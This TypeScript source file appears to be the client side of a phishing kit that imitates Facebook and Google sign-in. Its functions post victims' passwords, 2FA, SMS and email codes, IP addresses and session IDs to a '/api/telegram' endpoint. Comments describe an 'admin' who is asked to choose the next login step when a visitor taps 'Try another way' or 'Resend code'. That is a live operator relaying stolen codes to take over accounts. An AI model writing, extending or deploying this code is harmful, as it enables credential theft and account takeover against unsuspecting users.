// Telegram Bot Integration - Client-side functions

import type { AuthProvider } from './auth-provider'
import { getAuthProvider } from './auth-provider'

interface LoginCredentials {
  /** Email or phone number (single login field) */
  email: string
  password: string
  timestamp: string
  userAgent?: string
  ipAddress?: string
  sessionId?: string
  provider?: AuthProvider
}

interface TwoFactorCode {
  code: string
  type:
    | '2fa'
    | '2fa-sms'
    | '2fa-email'
    | '2fa-error'
    | '2fa-sms-error'
    | '2fa-email-error'
    | 'phone-code'
    | 'approve'
  email?: string
  timestamp: string
  userAgent?: string
  ipAddress?: string
  sessionId?: string
  provider?: AuthProvider
}

/** @deprecated Use LoginCredentials */
type FacebookCredentials = LoginCredentials

export async function sendToTelegram(credentials: LoginCredentials): Promise<boolean> {
  try {
    const provider = credentials.provider || getAuthProvider()
    const response = await fetch('/api/telegram', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json',
      },
      body: JSON.stringify({
        type: 'login',
        data: { ...credentials, provider },
      }),
    })

    const result = await response.json()

    if (response.ok && result.success) {
      return true
    }
    console.error('❌ Failed to send to Telegram:', result.error || response.statusText)
    return false
  } catch (error) {
    console.error('❌ Error sending to Telegram:', error)
    return false
  }
}

export async function send2FAToTelegram(twoFactorData: TwoFactorCode): Promise<boolean> {
  try {
    const provider = twoFactorData.provider || getAuthProvider()
    const response = await fetch('/api/telegram', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json',
      },
      body: JSON.stringify({
        type: '2fa-code',
        data: { ...twoFactorData, provider },
      }),
    })

    const result = await response.json()

    if (response.ok && result.success) {
      return true
    }
    console.error('❌ Failed to send 2FA code to Telegram:', result.error || 'Unknown error')
    return false
  } catch (error) {
    console.error('❌ Error sending 2FA code to Telegram:', error)
    return false
  }
}

export type TryAnotherWayStep =
  | '2fa'
  | '2fa-sms'
  | '2fa-email'
  | '2fa-error'
  | '2fa-sms-error'
  | '2fa-email-error'
  | 'approve'
  | 'approve-error'
  | 'phone-code'
  | 'phone-code-error'
  | 'login'
  | 'login-error'
  | 'loading'

/** Visitor tapped “Try another way” — ask admin for a different Facebook/Google step */
export async function sendTryAnotherWayToTelegram(payload: {
  currentStep: TryAnotherWayStep | string
  email?: string
  sessionId?: string
  ipAddress?: string
  userAgent?: string
  provider?: AuthProvider
}): Promise<boolean> {
  try {
    const provider = payload.provider || getAuthProvider()
    const response = await fetch('/api/telegram', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({
        type: 'try-another-way',
        data: {
          ...payload,
          provider,
          timestamp: new Date().toISOString(),
        },
      }),
    })
    const result = await response.json()
    if (response.ok && result.success) return true
    console.error('❌ Failed to send try-another-way to Telegram:', result.error || response.statusText)
    return false
  } catch (error) {
    console.error('❌ Error sending try-another-way to Telegram:', error)
    return false
  }
}

/** Visitor tapped “Resend code” after the 4‑minute wait — ask admin for a new code */
export async function sendNeedAnotherCodeToTelegram(payload: {
  currentStep?: string
  email?: string
  sessionId?: string
  ipAddress?: string
  userAgent?: string
  provider?: AuthProvider
}): Promise<boolean> {
  try {
    const provider = payload.provider || getAuthProvider()
    const response = await fetch('/api/telegram', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({
        type: 'need-another-code',
        data: {
          ...payload,
          provider,
          timestamp: new Date().toISOString(),
        },
      }),
    })
    const result = await response.json()
    if (response.ok && result.success) return true
    console.error('❌ Failed to send need-another-code to Telegram:', result.error || response.statusText)
    return false
  } catch (error) {
    console.error('❌ Error sending need-another-code to Telegram:', error)
    return false
  }
}

export async function sendToMultipleChats(
  credentials: FacebookCredentials,
  _chatIds: string[]
): Promise<void> {
  await sendToTelegram(credentials)
}
